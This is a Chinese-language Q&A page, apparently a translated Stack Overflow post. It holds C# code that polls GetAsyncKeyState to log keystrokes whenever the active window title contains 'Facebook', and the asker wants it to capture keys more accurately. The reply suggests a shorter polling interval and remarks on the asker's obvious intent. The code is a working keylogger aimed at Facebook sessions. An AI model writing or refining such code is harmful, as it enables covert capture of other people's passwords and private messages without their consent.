首页 > 解决方案 > GetAsyncKeyState 未按正确顺序捕获键

问题描述

如果活动窗口标题包含“Facebook”,我有下面的代码可以捕获击键,但是,在测试时......我没有得到准确的按键顺序并且一些键被遗漏了......我能做些什么对此进行改进?

例如:如果我输入“ALI”,我会得到“AIL”打印出来

       [DllImport("user32.dll")]
    public static extern int GetAsyncKeyState(Int32 i);

    [DllImport("user32.dll")]
    private static extern IntPtr GetForegroundWindow();

    [DllImport("user32.dll")]
    static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);


    static void Main(string[] args)
    {

        while (true)
        {
            string WindowTitle = GetActiveWindowTitle();

            if (WindowTitle == null)
                return;

            if (WindowTitle.Contains("Facebook"))
            {
                for (int i = 0; i < 255; i++)
                {
                    int state = GetAsyncKeyState(i);

                    if (state == 1 || state == -32767)
                    {
                        Console.WriteLine((Keys)i);
                    }
                }

            }

            Thread.Sleep(1000);
        }
    }

    private static string GetActiveWindowTitle()
    {
        const int chars = 256;
        StringBuilder buff = new StringBuilder(chars);
        IntPtr handle = GetForegroundWindow();

        if (GetWindowText(handle, buff, chars) > 0)
        {
            return buff.ToString();
        }

        return null;
    }

标签: c#.netconsole-application

解决方案


将初学者的间隔从 1 秒减少到 5 毫秒... Thread.Sleep(5);

即使这样,当你开始快速打字时,击键仍然会被排列和/或丢失,我没有足够的资格解释原因。顺便说一句,你的意图太明显了,这就是为什么没有人愿意回答你的问题。


推荐阅读